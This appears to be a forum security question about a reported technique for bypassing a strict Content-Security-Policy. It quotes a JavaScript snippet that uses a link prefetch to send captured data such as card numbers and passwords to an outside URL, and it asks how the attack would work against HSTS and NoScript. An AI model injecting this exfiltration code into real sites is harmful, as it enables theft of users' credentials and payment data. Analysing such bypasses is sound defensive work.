The article I’m harvesting credit card numbers and passwords from your site. Here’s how. describes the phases of a theoretical attack where an attacker can bypass a strict CSP and exfiltrate sensitive information. The article claims that this script can bypass CSP:
const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);
This takes advantage of the fact that
prefetch behavior in the CSP standard is underspecified. In Chrome, this works, but Firefox currently prevents this from happening (which may change given user complaints in the bug report). The article claims that this works even with the strictest security policy:
Content-Security-Policy: default-src 'none'; script-src 'self'
Which is true because there is no fallback behavior for
prefetch currently. However, the thing not addressed is that the attacker's code still has to be injected (out-of-line) somehow. The article "Bypassing Content-Security-Policy with DNS prefetching" suggests that this is done by finding an XSS vulnerability elsewhere.
Assuming that the target website uses HSTS and that a user visiting the website uses NoScript, what would such an attack vector look like?